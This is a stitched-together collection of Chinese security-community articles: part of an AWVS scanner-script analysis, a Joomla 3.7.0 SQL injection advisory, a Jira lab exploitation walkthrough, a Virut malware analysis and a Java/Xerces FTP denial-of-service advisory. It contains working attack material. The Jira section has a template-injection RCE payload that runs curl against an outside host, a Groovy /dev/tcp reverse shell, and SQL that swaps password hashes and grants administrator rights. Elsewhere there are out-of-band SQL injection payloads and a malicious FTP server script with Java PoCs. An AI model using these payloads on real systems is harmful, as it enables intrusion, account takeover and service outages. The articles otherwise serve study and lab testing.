3.5.PerScheme awvs将有参数传递的url称为Scheme，所以这个目录就是在各个参数传入点设置扫描payload进行对应的漏洞测试。比如命令执行漏洞，代码执行漏洞，xss漏洞扫描，sql漏洞扫描等等。（我们可以在这个目录中学到很多规则和漏洞扫描姿势。）
3.6.PerServer 一般用于测试第三方中间件，包括指纹识别，只最开始扫描的时候进行一次。比如Flask_Debug 打开，jboss各种漏洞，tomcat各种漏洞等。
3.7 WebApps 第三方cms漏洞扫描。比如wordpress的漏洞扫描，joolma漏洞扫描等等
下面以/Scripts/PerFile/Bash_RCE.script作为一个调试案例：
使用wvs scripting打开/Scripts/PerFile/Bash_RCE.script文件。
点击小齿轮，设置扫描目标：
这里比较蛋疼就是不能直接输入扫描的目标（反正我没找到），需要去load一下awvs爬虫保存的.cwl文件。我们在awvs上简单爬一下扫描的目标，然后保存成xxx.cwl。再通过wvs
scripting去load这个文件。
最后是运行，这里具体根据script来确定set target的什么类型，比如Bash_RCE.script，中用了var file =
getCurrentFile()，你就需要set file target，最后run per file。（当然还有其他的就不在举例子了)
到这里我们就可以跑起每个脚本进行运行调试了，能跑起来，我们就可以去logInfo一些东西，这样去看脚本都做哪些操作就简单多了。
tip:那么我们可以一个一个目录的去分析每个脚本，当然也有一个小技巧去提前分析高危的扫描脚本。那就是先用awvs去扫一下他的测试站点:<http://testphp.vulnweb.com/>,awvs会告诉你是哪个脚本发现的漏洞和且匹配到的内容，这样我们就挑选自己最先想研究的漏洞来看。(不过要注意这个testphp测试站点，awvs默认启动了AcuSensor
Technology技术
<https://www.acunetix.com/vulnerability-scanner/acusensor-technology/>
如果你要用它做测试站点的话，代码逻辑会走到acusensor对应的代码)
## 三）从awvs学到啥
### 1.扫描方式
awvs在扫描前，都会对url进行的详细的分类和参数的解析。常见为:file,folder,scheme等类型。几乎每种类型的url都会有一个目录对他进行专门的漏洞扫描。
在扫描前对url进行比较细致的分类是可以学习一波的，特别是对scheme类型的url进行参数解析。大部分的扫描都会有这部分的参数解析，不过一般都是类似于(a=b&c=1的这种解析)，但是如果参数是json格式的(b=1&c={"uname":"wilson","id":"23333"})
,很多扫描器不支持，不过大家可以参加一下sqlmap的json格式解析(walk方法，<https://github.com/sqlmapproject/sqlmap/blob/master/lib/core/common.py)>
至于每种类型的url都会有一个目录对它进行专门的漏洞扫描方式的话，你也可能选择用一个脚本去处理一类漏洞类型，然后对这个漏洞类型可能在哪种url类型出现进行测试。
### 2.规则，大把大把的规则
看到代码最大的好处就是可以看到他的匹配正则了，比如敏感部署文件备份匹配规则，任意文件读取规则，sql报错注入关键字匹配，命令执行等等。
更多规则见脚本。
### 3.AcuMonitor 技术
<https://www.acunetix.com/vulnerability-scanner/acumonitor-technology/>
这东西简单理解就是和你的dnslong一样的，适用于扫描无回显的漏洞，比如：
Blind Server-side XML/SOAP Injection
Blind XSS (also referred to as Delayed XSS)
Host Header Attack
Out-of-band Remote Code Execution (OOB RCE)
Out-of-band SQL Injection (OOB SQLi)
SMTP Header Injection
Server-side Request Forgery (SSRF)
XML External Entity Injection (XXE)
我们可以在脚本中找到他们的规则：
那么重点是怎么把漏洞和对应url关联??
我的处理是让漏洞服务器发起http请求，将urlid带到uri中，比如
<http://blog.wils0n.cn/urlid/param/cveid>
根据这uri中的urlid进行定位url参数。但是这样会还是会有一些漏扫，比如ssrf只出现在http的host中，uri并不会带入请求。
所以比较准确一个是使用dns来做。例如:nslookup dns.urlid-param-cveid.wils0n.cn，在服务端上根据urlid-param-cveid来处理漏洞。
关于dnslog service的搭建：
使用方法一)一个服务器
工具：https://github.com/Wyc0/DNSLog/blob/master/dns.py(简单，一个脚本就够了)
触发方法：nslookup urlid-param-cveid.wils0n.cn 服务器的ip
这种方法必须指定后面的ip。
使用方法二）一个服务器加一个域名：
域名设置(请教了@izy和@凤凰)
用阿里云的为例子：
1.设置一个a记录。ns1.wils0n.cn --->你的服务ip假如 118.11.11.11
2.设置一个ns记录。 dns.wils0n.cn --->ns1.wils0n.cn
存在的问题：
问题1）没有响应包回复，导致请求会一直发，可以参考<https://github.com/BugScanTeam/DNSLog/blob/master/dnslog/zoneresolver.py>
进行改进一下。
问题2)
url跳转扫描可能会导致误报的情况出现，由于dns请求会绕过很多跳，所以根据扫描ip来判断是无法做到，暂时不知道怎么解决。。。不过误报会比漏报好一些
### 4.awvs的网站目录和文件扫描思路
很多web扫描器的开始都是对url进行网站目录和文件扫描，然后再结合爬虫一起爬一下。
因为大家的想法都是：“不管有没有漏洞，我先扫一遍目录再说”，所以网上这种爬目录文件的工具极其多。
看了一下网上的工具的逻辑大概是:
1.取一个不可能存在的url，判断是不是存在404的状态码。
存在的404话，下面的判断只要根据状态码来判断是否存在就好了。
不存在的话走下面2的逻辑。
2.获取该不存在url的相应内容，作为一个404不存在的页面标示，接下去的扫描如果获取到页面不和这个404表示一样的就认为是200的存在页面。
这个思路在大部分情况下面用。但是有些站点，你会发现扫到一堆200的误报。分析为什么：
在逻辑1中，404的判断取一个不存在的url是不够的，你需要取多个，因为有的站点xxxx.php是404，而xxxx.jsp就变成200了。
在逻辑2中，有种情况是这个404的页面是会不断变化的，比如淘宝的404页面中，下面会出现不同的链接商品推荐。这样就会产生一大堆的误报。
那么我们分析一下awvs的目录和文件扫描姿势:（Backup_File.script，Sensitive_Files.script,
Possible_Sensitive_Directories ,Possible_Sensitive_Files ）
第一）在Backup_File和Sensitive_Files中看到能用正则匹配的，先用规则来匹配，这个比较准确，误报低。
第二) Backup_File中我们发现，awvs的再解决逻辑2中出现的问题时候，用了一个小的tip:在发现页面内容和404标示不一样的时候，再去取了一个不存在的url2获取新的404标示，然后判断两个标示是不是一样，一样的话说明这个200扫描没用问题，从而去掉这个误报。
第三) 在Possible_Sensitive_Directories ,Possible_Sensitive_Files中，我们发现awvs去掉了逻辑2。只对存在404的url进行目录和文件扫描。而目录扫描和文件扫描的逻辑不一样的，我们发现当一个文件存在时候返回时200，但是当一个目录存在的时候确是302跳转，我们需要匹配http头的Location进行判断。那么网上那些扫描目录工具不就2b了么？
这里其实要说到一个坑，这些工具都是使用了python的requests库，这个库默认是会进行url跟随跳转的。所以他们没有必要区分扫描目录和文件扫描。如果你把requests中设置了allow_redirects=False，那你就要去自己匹配http头的Location关键字。
个人感觉扫目录逻辑走第一和第三就可以了。
### 5.sql注入检查
可能很多人都会用sqlmap来做注入检查，但是sqlmap还是有点大，扫描payload比较多，扫描时间长。
awvs的sql注入也可以参考一下:
#### 1.基于错误返回信息的关键字直接判断为存在sql注入漏洞。(Sql_Injection.script)
主要匹配的关键字有:
You have an error in your SQL syntax|The database has encountered a problem|database error|unknown column\\s|SQL syntax.*MySQL|Warning.*mysql_.*|(Incorrect\ssyntax\snear\s'[^']*')|.....(很多大家去对应脚本里面找)
这样匹配的话，还是比较准确的，但是有的时候会有误报。
#### 2.盲注入(Blind_Sql_Injection.script)
2.1 bool型的盲注入
我把这部分的扫描逻辑理了一下，大概是这样的：
1.判断参数是不是有效的，即：输入和原来的值不一样的参数时候，页面(过滤过的，过滤了html标签，当前输入值，原始输入值)是否一样
2.如果参数有效，就用 and payload 判断是不是存在漏洞(多个判断)
3.如果参数无效，就用 or payload 判断是不是存在漏洞(多个判断)
我参考以后，发现它会有一些漏扫描，比如 数字型等带有单引号的注入。
然后我决定优化一下，并去掉第三步的验证。因为一般都无有效参数的，无效的参数一般不做检查了，而且or注入可能会导致一些误报等。
2.2.基于时间盲注入
原理很简单，然后数据库去sleep一段时间。payload对应脚本里面找，或者可以参考一下sqlmap的。
然后就是注意各种闭合，比如: ', ", ), )), '), "), ')), ")), ;, 等等
个人的实践告诉我，基于时间的注入检查是最准确的。如果你是甲方的话，基于时间盲注入应该是最适合你的了。因为你可以去监控mysql的慢日志或者异常日志去查询sleep登关键字来结合着一起发现sql注入漏洞，我在实践中是有用这种方法发现过一些比较隐蔽的sql注入的。
#### 3.结合AcuMonitor盲打
测试oracle的注入:
xxxx||UTL_INADDR.get_host_address('{DOMAIN}')
PostgreSQL:
{ORIGVALUE};copy (select '') to program 'nslookup {DOMAIN}
windows +mssql:
{ORIGVALUE};EXEC master..xp_dirtree '\\{DOMAIN}\' --
同样，也要注意各种闭合。
### 6.xxe 优化
xxe漏洞检测，改变Content-type头（text/xml，application/xml），可能会测出漏洞。
### 更多脚本还在分析
.......
## 四）结尾
很多挺好玩的漏洞扫描知识，因为文章篇幅和时间精力问题就没有进行更多分析了，大家可以自己去找自己感觉好用的script进行debug和逻辑分析。分析到好的思路也可以分享出来看看。
**请勿用本文提到的技术进行未授权的渗透测试,我们不负任何连带法律责任**
文章参考:
<http://www.acunetix.com/>
<http://blog.oowoodone.com/archives/2016/03/30/wvs_script_decode/>
<http://gv7.me/articles/2017/Writing-AWVS-scripts-to-detect-Web-Services/> | 社区文章 |
# 【漏洞预警】Joomla!3.7.0 Core SQL注入漏洞(更新漏洞环境)
|
##### 译文声明
本文是翻译文章，文章来源：sucuri.net
原文地址：<https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html >
译文仅供参考，具体内容表达以及含义原文为准。
**前言**
Joomla！是世界上最受欢迎的内容管理系统（CMS）解决方案之一。它可以让用户自定义构建网站实现强大的在线应用程序。据不完全统计互联网上超过3％的网站运行Joomla！，同时它占有全球9%以上的CMS市场份额。
截止至2016年11月，Joomla！的总下载量超过7800万次。目前Joomla！官方还提供了超过7800个扩展插件（含免费、收费插件）及其他的可用资源可供下载。
**漏洞描述
**
**漏洞等级** ：严重
**漏洞类型** ：sql 注入
**利用难度** ：简单
**利用方式** ：远程
**影响版本** ：Joomla! 3.7.0 Core
**漏洞简述**
：这个漏洞出现在3.7.0新引入的一个组件“com_fields”，这个组件任何人都可以访问，无需登陆验证。由于对请求数据过滤不严导致sql
注入，sql注入对导致数据库中的敏感信息泄漏，例如用户的密码hash以及登陆后的用户的session（如果是获取到登陆后管理员的session，那么整个网站的后台系统可能被控制）。
**漏洞细节**
“com_fields ”组件从相同名称的管理端组件继承了一些视图，这样可以缩减大量相同功能的代码，提高代码的复用性。
从上面的代码片段可以看到，$config['base_path']变量的值是JPATH_COMPONENT_ADMINISTRATOR常量传过去的，这个常量值代表管理员组件目录的本地路径，这样做会造成
Joomla! 从这个路径获取视图views和模块models，要成功的操作需要构造相关参数和值，view 参数的值是fields ，layout
参数的值是modal。那么构造的URL如下：
/index.php?option=com_fields&view=fields&layout=modal
访问此URL可以显示这个站点所有自定义字段的列表。
需要注意的是这是唯一的一个管理员视图的组件字段（我们前面说到的$config['base_path']变量这块）。这种情况下，我们可以直接从管理员模型获取数据。具体的漏洞位于：
.MarchModelFields 模型下的
./administrator/components/com_fields/models/fields.php文件中。
最终我们定位到出问题的方法getListQuery
如果不熟悉Joomla！执行SQL查询，$query-> order（）真的只是一个方法，其输入将被连接到一个查询的ORDER
BY语句，这里就是我们要做的最后一件事，将未经检查的用户输入带入到这里，看看会不会有惊喜
用户输入传入到list.fullordering，因为FieldsModelFields模型从继承JModelList类，它同样也包含上面的代码段。你可能会注意到它对内容做了一些验证，然后相应地设置list.direction和list.ordering，但是list.fullordering呢？
在switch语句之后，不管它是否生成了一个有效的list.direction或者list.ordering，我们可以利用这行指令通过我们输入的内容来设置我们想要的值。
所以为了利用这个漏洞，攻击者必须做的是为URL添加适当的参数，以便注入到SQL查询。
**验证截图**
****
**PoC**
暂不公开
**修复建议**
升级最新版完整安装包以及升级补丁包
<https://downloads.joomla.org/cms/joomla3/3-7-1>
**漏洞环境**
**感谢开源社区力量**
漏洞靶场环境 由phithon维护
Vulhub是一个面向大众的开源漏洞靶场，无需docker知识，简单执行两条命令即可编译、运行一个完整的漏洞靶场镜像。
<https://github.com/phith0n/vulhub/tree/master/joomla/CVE-2017-8917>
**参考**
<https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html>
<https://www.joomla.org/announcements/release-news/5705-joomla-3-7-1-release.html>
<https://downloads.joomla.org/cms/joomla3/3-7-1> | 社区文章 |
Author：əhead@深蓝攻防实验室
#### 前言
Atlassian Jira是一套作为缺陷跟踪管理的系统。该系统主要用于对工作中各类问题、缺陷进行跟踪管理，后来慢慢发展为多任务的项目管理软件。
本次主要记录从搭建到利用的过程，就没展开对漏洞的具体分析了。如果有出错的地方，请各位师傅多多指教，仅供参考。
##### 一、环境搭建
1.这里选择在kali作为本次的实验环境，配置更新源按如下命令安装docker及docker-compose即可。
curl -fsSL http://mirrors.zju.edu.cn/docker-ce/linux/debian/gpg | sudo apt-key add - echo 'deb http://mirrors.zju.edu.cn/docker-ce/linux/debian/ buster stable' | sudo tee /etc/apt/sources.list.d/docker.list
sudo apt-get update
sudo apt-get install docker-ce
sudo apt install docker-compose
2.这里为了方便省时间，我们可以利用vulhub靶场去启用jira的漏洞环境
拉取vulhub
git clone https://github.com/vulhub/vulhub.git
部署并启动jira环境
cd /vulhub/jira/CVE-2019-11581 && docker-compose up -d
开启mysql服务，并进行初始安全配置
service mysql start && mysql_secure_installation
修改配置文件允许mysql远程访问，并设置root用户远程访问
vi /etc/mysql/mariadb.conf.d/50-server.cnf
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%'IDENTIFIED BY '123456' WITH GRANT OPTION;
flush privileges;
创建数据库名为jira并尝试连接，如下
create database jira default character set utf8 collate utf8_general_ci;
3.如果在jira部署配置数据库连接时报错 Could not find driver with class name:
com.mysql.jdbc.Driver，这是因为mysql驱动的问题，下载并将驱动拷进lib目录下即可
下载mysql驱动，地址如下：
https://downloads.mysql.com/archives/get/p/3/file/mysql-connector-java-5.1.49.tar.gz
解压并将以bin.jar结尾的文件copy进容器内，如下:
docker cp /home/kali/Desktop/mysql-connector-java-5.1.49/mysql-connector-java-5.1.49-bin.jar 容器id:/opt/atlassian/jira/lib
4.接着可以看到配置mysql并测试连接，显示如下表示成功
5.下一步需在jira官网注册一个账号，然后利用账号申请一个可以试用30天的license，最终完成所有配置，进入系统
##### 二、配置文件及数据库表结构（mysql）
jira的数据库配置文件为dbconfig.xml，可以通过如下路径获取到所使用的数据库明文账号及密码
cat /var/atlassian/application-data/jira/dbconfig.xml
export作为数据备份目录，通过如下路径获取备份文件等
ls /var/atlassian/application-data/jira/export
attachments作为附件存储目录，通过如下路径获取上传的附件文件等
ls /var/atlassian/application-data/jira/data/attachments
###### 下面是数据库里部分表的存储字段
表名 | 存储内容 | 关键字段
---|---|---
project | 项目主表 | ID-项目编号
pname-项目名称
URL-项目链接
LEAD
DESCRIPTION-项目描述
pkey-项目key
pcounter
ASSIGNEETYPE
AVATAR
ORIGINALKEY
PROJECTTYPE-项目类型
project_key | 项目key表 | ID-项目编号
PROJECT_ID -项目id
PROJECT_KEY-项目key
projectrole | 项目角色 | ID
NAME
DESCRIPTION
projectroleactor | 项目角色关联关系 | ID
PID
PROJECTROLEID-项目角色id
ROLETYPE -角色类型
ROLETYPEPARAMETER-具体用户或用户组
jiraissue | JIRA的issue | ID
pkey
issuenum -和project表pkey字段组合成issue key
PROJECT -关联project表ID
REPORTER -报告人
ASSIGNEE -经办人
CREATOR -创建人
issuetype -关联issuetype表ID
SUMMARY -标题
DESCRIPTION -描述
ENVIRONMENT
PRIORITY -关联priority表ID
RESOLUTION -关联resolution表ID
issuestatus
CREATED -创建时间
UPDATED -更新时间
DUEDATE
RESOLUTIONDATE -解决时间
VOTES
WATCHES
TIMEORIGINALESTIMATE
TIMEESTIMATE
TIMESPENT
WORKFLOW_ID -工作流ID
SECURITY
FIXFOR
COMPONENT
ARCHIVED
ARCHIVEDBY
ARCHIVEDDATE
priority | issue优先级 | ID
SEQUENCE
pname -优先级名称
DESCRIPTION
ICONURL
STATUS_COLOR
resolution | issue解决结果 | ID
SEQUENCE
pname -解决结果名称
DESCRIPTION
ICONURL
component | 模块表 | ID
PROJECT
cname -模块名称
description
URL
LEAD
ASSIGNEETYPE
ARCHIVED
jiraworkflows | JIRA的工作流 | ID
workflowname -工作流名称
creatorname -创建者
DESCRIPTOR
ISLOCKED -锁定状态
cwd_user | 用户表 | ID
directory_id
user_name -用户名
lower_user_name
active
created_date
updated_date
first_name
lower_first_name
last_name
lower_last_name
display_name
lower_display_name
email_address
lower_email_address
CREDENTIAL -加密后的用户密码
deleted_externally
EXTERNAL_ID
cwd_membership | 用户所属成员组表 | ID
parent_id
child_id
membership_type
group_type
parent_name -用户权限
lower_parent_name-用户权限
child_name
lower_child_name
directory_id
通过表的存储字段分析，可以替换cwd_user表的CREDENTIAL字段密文登录指定用户（前提密文是以{PKCS5S2}开头的）
//对应密码为Ab123456
{PKCS5S2}ltrb9LlmZ0QDCJvktxd45WgYLOgPt2XTV8X7av2p0mhPvIwofs9bHYVz2OXQ6/kF
//对应密码为123456
{PKCS5S2}6pm6MWrrixyAFrSbs8oNL53TU3j3GIXRHIIIHtSdKJ8+JkqVrzD8rHjEVPU4CAIE
//更新密码的sql语句
update cwd_user set credential = '{PKCS5S2}ltrb9LlmZ0QDCJvktxd45WgYLOgPt2XTV8X7av2p0mhPvIwofs9bHYVz2OXQ6/kF' where user_name="name";
通过修改cwd_membership表的parent_name及lower_parent_name字段值为jira-administrators，可将指定用户提升至管理员权限
查询指定项目的所有用户
SELECT p.id AS project_id, p.pname AS project_name, p.lead AS project_lead, prc.roletypeparameter AS project_roles
FROM project p LEFT OUTER JOIN projectroleactor prc ON prc.pid = p.id
WHERE p.pname = 'Test01';
##### 三、漏洞利用
1.未授权进行用户名枚举
枚举用户名接口
GET /rest/api/2/user/picker?query=zhangsan HTTP/1.1
Host: xx.xx.xx.xx:8080
Connection: close
用户名存在则返回如下信息
用户名不存在则返回如下信息
2.Atlassian Jira 模板注入rce（前提：已开启联系管理员表单）
//访问该链接显示如下信息，则说明没有配置联系管理员，无法触发漏洞
无需管理员权限：http://xx.xx.xx.xx:8080/secure/ContactAdministrators!default.jspa
需要管理员权限：http://xx.xx.xx.xx:8080/secure/admin/SendBulkMail!default.jspa
//访问该链接配置smtp
http://xx.xx.xx.xx:8080/secure/admin/VerifySmtpServerConnection!add.jspa
//访问该链接开启联系管理员表单
http://xx.xx.xx.xx:8080/secure/admin/EditApplicationProperties!default.jspa
//poc
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('curl http://xx.xx.xx.xx').waitFor()
ps：进行反弹操作时，由于Runtime.getRuntime().exec()不能执行管道命令的问题，需要将exec内的命令进行base64编码，即可反弹会话，如下
3.利用MyGroovy插件进行getshell
//管理插件接口地址
http://xx.xx.xx.xx:8080/plugins/servlet/upm?source=side_nav_manage_addons
//查看jira对应版本接口地址
http://xx.xx.xx.xx:8080/secure/admin/ViewSystemInfo.jspa
再根据对应的版本信息下载MyGroovy插件（tips：如果版本不对应会出现无法启用该插件的错误）
地址：<https://marketplace.atlassian.com/apps/1218755/mygroovy/version-history>
这里按照对应版本下载兼容的MyGroovy插件，如下
接着在上传插件处添加MyGroovy插件，如下
安装成功后，进入MyGroovy console执行反弹脚本，如下
def r = Runtime.getRuntime()
def p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
等待片刻 即可收到shell会话，如下 | 社区文章 |
# 针对Avzhan DDoS Bot的详细介绍及样本分析
|
##### 译文声明
本文是翻译文章，文章原作者 hasherezade，文章来源：blog.malwarebytes.com
原文地址：<https://blog.malwarebytes.com/threat-analysis/2018/03/blast-from-the-past-stowaway-virut-delivered-with-chinese-ddos-bot/>
译文仅供参考，具体内容表达以及含义原文为准。
## 详细介绍
近期，我们披露了一个路过式攻击（Drive-By Attack）行为（ <https://blog.malwarebytes.com/threat-analysis/2018/02/chinese-criminal-experiments-with-exploits-in-drive-by-download-campaign/> ）。在该攻击中，我们发现了Avzhan DDoS Bot（
<https://blog.malwarebytes.com/threat-analysis/2018/02/avzhan-ddos-bot-dropped-by-chinese-drive-by-attack/>
）的变种。除此之外，此次攻击中还使用了多个以前的组件。在这一系列漏洞攻击中，最近的一次是从2016年开始。并且，恶意软件Avzhan也已经发布了一段时间，通过脱壳后查看其有效载荷（
<https://www.virustotal.com/en/file/acb086f25c082ee1e2cdc76dc40db97e1629a72b593abd16ab876b542d7c4f5c/analysis/>
）的编译时间戳，我们发现其所显示的时间是2015年8月。然而，还有另一件更加不同寻常的事情引起了我们的注意，我们发现Avzhan的外层与Virut的签名相匹配，而后者自2013年以来就再也没出现过。
起初，大家都很难相信这一检测结果。原因在于，Virut作为一个较老的恶意软件，已经停止了后续开发工作，其详细信息早已由波兰互联网应急响应中心披露，并且其C&C服务器也早已被披露。那么，会有谁愿意继续使用这样的恶意软件呢？我们猜想，有可能作者想要用这样的加壳方式，将DDoS
Bot与Virut进行混淆。
经过进一步研究，我们发现该检测结果没有问题。Avzhan
Bot确实携带了一个合法的Virut。但并不是发布者故意为之的，而是该攻击服务器恰巧感染了Virut病毒，该病毒附着于DDoS恶意软件，并且随着路过式攻击的过程，进入到感染者的计算机中。更有意思的是，在2016年，Virut的代码在中国生产的摄像机中被发现（
[https://translate.google.com/translate?sl=auto&tl=en&js=y&prev=_t&hl=en&ie=UTF-8&u=https%3A%2F%2Fzaufanatrzeciastrona.pl%2Fpost%2Fecho-slynnego-polskiego-botnetu-powraca-w-chinskiej-kamerze%2F&edit-text=&act=url](https://translate.google.com/translate?sl=auto&tl=en&js=y&prev=_t&hl=en&ie=UTF-8&u=https%3A%2F%2Fzaufanatrzeciastrona.pl%2Fpost%2Fecho-slynnego-polskiego-botnetu-powraca-w-chinskiej-kamerze%2F&edit-text=&act=url)
）。其原因在于，产品开发人员的计算机感染了Virut，并通过这种方式进一步传播了代码。
由于这些意外，Virut已经重新出现在我们的面前，因此本文将对其工作原理进行分析。
## 分析样本
我们本次主要分析的样本MD5为05749f08ebd9762511c6da92481e87d8。
## 行为分析
Virut的行为就像是经典的感染型病毒。我们观察到，由Virut感染的样本总会在64位系统上发生崩溃。
然而，在32位环境中部署时，Virut就拥有了野火燎原般的传播能力，试图将自己的代码附加到所有的可执行文件上，以此来尽可能多地感染文件。Virut的代码是多态的，并且其设计非常谨慎，所以我们并不容易掌握其感染模式。如果有足够的空间，Virut通常会用随机的名字添加一个新的空白段，例如：
如果在输入文件中，没有一个用于新建头部的空间，那么这一步骤将会省略。所以，假如文件没有新增的段，并不能证明这个文件没有被感染。另外一个可疑的地方是，如果发现文件被设置为RWX权限（Read-Write-Execute），那么很可能该文件已经被感染。
Virut会更改段的大小，同时也会更改应用程序的入口点，以便重定向到自己的代码。在恶意代码执行完成后，还会继续执行原始入口点，因此从用户的角度来看，受感染的应用程序还和以前一样能够正常工作。
除了感染磁盘上的文件之外，Virut还会攻击正在运行的进程。因此，即使第一个被感染的进程被杀死了，恶意代码仍然会在内存中运行。
该恶意软件使用了一些硬编码的C&C地址，同时还使用了DGA域名生成算法。通过查看网络流量，我们可以看到对域名的查询操作遵循在“.com”前使用六个字母的模式：6
{a-z} .com。
由于Virut的结构及原理已经完全被掌握并封堵，因此其C&C服务器没有任何活动。
## 内部分析
### 感染模式
正如之前所述，Virut的代码可能会发生改变，在不同计算机上的感染可能会不尽相同。一些模式的选取取决于输入的特征。
在PE文件中，每个段必须与PE头部中文件对齐字段所指示的最小单位对齐。这就是为什么有时在一个PE段与另一个PE段之间，会有一个空的部分，里面只有填充的内容。这一空的部分被称为洞（Cave）。以前，一些病毒经常会使用这一空间来植入他们的代码，Virut也不例外。
在下面的例子中，.text段之后的洞已经被恶意代码填充：
根据输入，段之间可能没有大小足够的洞。Virut会在最后一个段的末尾添加代码：
然而，上述不是影响感染特征的唯一因素。由于Virut生成的代码是多态的，所以同一个文件不会以相同的方式被感染两次。下面是我们对同一个应用程序代码进行的比较，在Virut两次不同的运行过程中对其进行了感染：
### Virut的Shellcode
附加到受感染文件的代码会创建一个初始存根（Stub），并在Virut的Shellcode内存中进行脱壳。这是恶意软件的核心。下面是脱壳后的Shellcode：
相同代码也会被注入到其他进程中。它会被植入到内存的一个新页中，例如：
Shellcode包含一个用户空间Rootkit的功能，它在每一个被感染的进程中都挂钩了NTDLL，以便每次调用特定函数时，执行都会首先被重定向到Virut的植入代码部分。其中，有7个函数被挂钩，它们分别是：
NtCreateFile
NtCreateProcess
NtCreateProcessEx
NtCreateUserProcess
NtDeviceIoControlFile
NtOpenFile
NtQueryInformationProcess
接下来，我们以NtCreateFile为例。如大家所见，第一条指令是对恶意内存页的调用：
被调用代码如下：
我们还找到了反病毒产品的清单，Virut会检测自身是否受限制的环境中运行：
除了Rootkit之外，它还包含负责与C&C通信的代码。例如，在嵌入的字符串中，我们发现IRC命令，这就意味着Virut借助于IRC进行一部分的通信：
命令模式列表如下：
PING
NICK nrmbhoz
PRIV
JOIN #.%d
DSTAMP %s%02d%02d
下面是C&C服务器的硬编码地址。其中两个服务器是静态的，并且总是出现在Virut样本之中（这两个服务器已被波兰CERT通过Sinkhole方式封堵）：
ilo.brenz.pl
ant.trenz.pl
接下来，我们查看Virut的DGA生成的域名：
当感染文件的代码发生变化时，注入的Shellcode仍保持较为一致的结构。如果我们对两个不同进程的转储进行比较，会发现大部分代码都是相同的。
## 结论
随着技术的不断发展，如今一些老式病毒已经被大家遗忘，但这并不意味着这些病毒不会再带来任何风险。但幸运的是，目前大多数反病毒产品都可以通过签名的方式来检测到Virut等病毒。然而，对于不使用反病毒产品的用户，他们仍有被感染的风险。
即使是命令与控制服务器已经挂掉，但这些老式病毒依然可以不断感染传播。在全世界，仍有不少的服务器被老式病毒所感染，例如Virut和MyDoom。在我们的蜜罐上，仍然经常能收到来自这些废弃Bot主机的垃圾邮件。
但是，在较为流行的路过式攻击过程中，能发现一类老式病毒，这是不寻常的。我们并不知道旧的威胁是如何与新威胁相结合的，但我们却知道这样的结合无疑会带来更大的风险。这一次我们非常幸运，攻击的过程比较简单，且受影响用户也比较小。
Malwarebytes将该DDoS Bot的二进制文件检测为Torjan.Bayrob。 | 社区文章 |
# 【技术分享】Oracle Java及Apache Xerces PDF/Docx服务器端拒绝服务漏洞
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<https://blogs.securiteam.com/index.php/archives/3271>
译文仅供参考，具体内容表达以及含义原文为准。
****
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：90RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**一、漏洞概要**
Oracle Java JDK/JRE（1.8.0.131以及更早版本）软件包以及Apache
Xerces（2.11.0版）中存在两个漏洞，这两个漏洞分别为：
**Oracle JDK/JRE并发型拒绝服务（DoS）漏洞**
**java.net.URLConnection（未使用setConnectTimeout时）并发型拒绝服务漏洞** ****
Oracle已收到相关漏洞报告，并分配了一个报告跟踪编号：S0876966。目前我们还没有收到相关补丁或解决方法的更多信息。
**二、漏洞细节**
当满足以下条件时，攻击者可以使用这两个漏洞对服务器发起拒绝服务（Denial of Service， DoS）攻击：
攻击者可以将一个精心构造的URL参数传递给目标服务器，URL参数指向攻击者控制的FTP服务器。
目标服务器使用存在漏洞的组件来获取攻击者指定的资源。
目标服务器可以获取使用FTP URI地址的资源。
在这两个漏洞中，攻击者发起的攻击过程如下所示：
1、攻击者迫使存在漏洞的目标服务器解析某个FTP URL地址，该地址指向攻击者控制的FTP服务器。
2、目标服务器获取攻击者指定的FTP资源。
3、攻击者的FTP服务器突然停止工作，导致目标服务器上的Java进程内部遗留两个线程，这两个线程处于无限等待状态。
4、如果Java进程为单线程进程，那么该进程就无法进一步处理其他客户端的请求，只能接受来自攻击者的一个请求，满足拒绝服务条件。
5、如果Java进程为多线程进程，那么攻击者可以使用同样的技术，向每个可用的进程发出一个请求，耗尽所有可用的线程，以满足拒绝服务条件。
为了满足攻击条件，当Java客户端即将执行RETR
FTP命令时，攻击者控制的FTP服务器需要“突然”退出。服务端无法正确处理这种情况，因此会出现线程并发型拒绝服务现象。
比如：
require 'socket'
ftp_server = TCPServer.new 21
Thread.start do
loop do
Thread.start(ftp_server.accept) do |ftp_client|
puts "FTP. New client connected"
ftp_client.puts("220 ftp-server")
counter = 0
loop {
req = ftp_client.gets()
break if req.nil?
puts "< "+req
if req.include? "USER"
ftp_client.puts("331 password")
else
ftp_client.puts("230 Waiting data")
counter = counter + 1
if counter == 6
abort
end
end
}
puts "Aborted..."
end
end
end
loop do
sleep(50000)
end
当漏洞条件满足时，DoS会导致目标服务器与FTP服务器（192.168.234.134）之间的连接处于CLOSE_WAIT状态，使服务端的Java线程处于卡顿状态。
**
**
**三、Oracle JDK/JRE并发型拒绝服务漏洞**
存在漏洞的函数为：
java.io.InputStream
java.xml.ws.Service
javax.xml.validation.Schema
javax.xml.JAXBContext
java.net.JarURLConnection（未使用setConnectionTimeout以及setReadTimeout函数时）
javax.imageio.ImageIO
Javax.swing.ImageIcon
javax.swing.text.html.StyleSheet
**3.1 java.io.InputStream PoC代码**
import java.io.InputStream;
import java.net.URL;
public class RandomAccess {
public static void main(String[] args) {
try {
//url = new URL ("ftp://maliciousftp:2121/test.xml");
URL url = new URL("ftp://maliciousftp:2121/test.xml");
InputStream inputStream = url.openStream();
inputStream.read();
//urlc.setReadTimeout(5000);
//urlc.setConnectTimeout(5000); // <- this fixes the bug
} catch (Exception e) {
e.printStackTrace();
}
}
}
**3.2 javax.xml.ws.Service PoC代码**
import java.net.MalformedURLException;
import java.net.URL;
import javax.xml.namespace.QName;
import javax.xml.ws.Service;
public class CreateService {
public static void main(String[] args) {
String wsdlURL = "ftp://maliciousftp:2121/test?wsdl";
String namespace = "http://foo.bar.com/webservice";
String serviceName = "SomeService";
QName serviceQN = new QName(namespace, serviceName);
try {
Service service = Service.create(new URL(wsdlURL), serviceQN);
} catch (MalformedURLException e) {
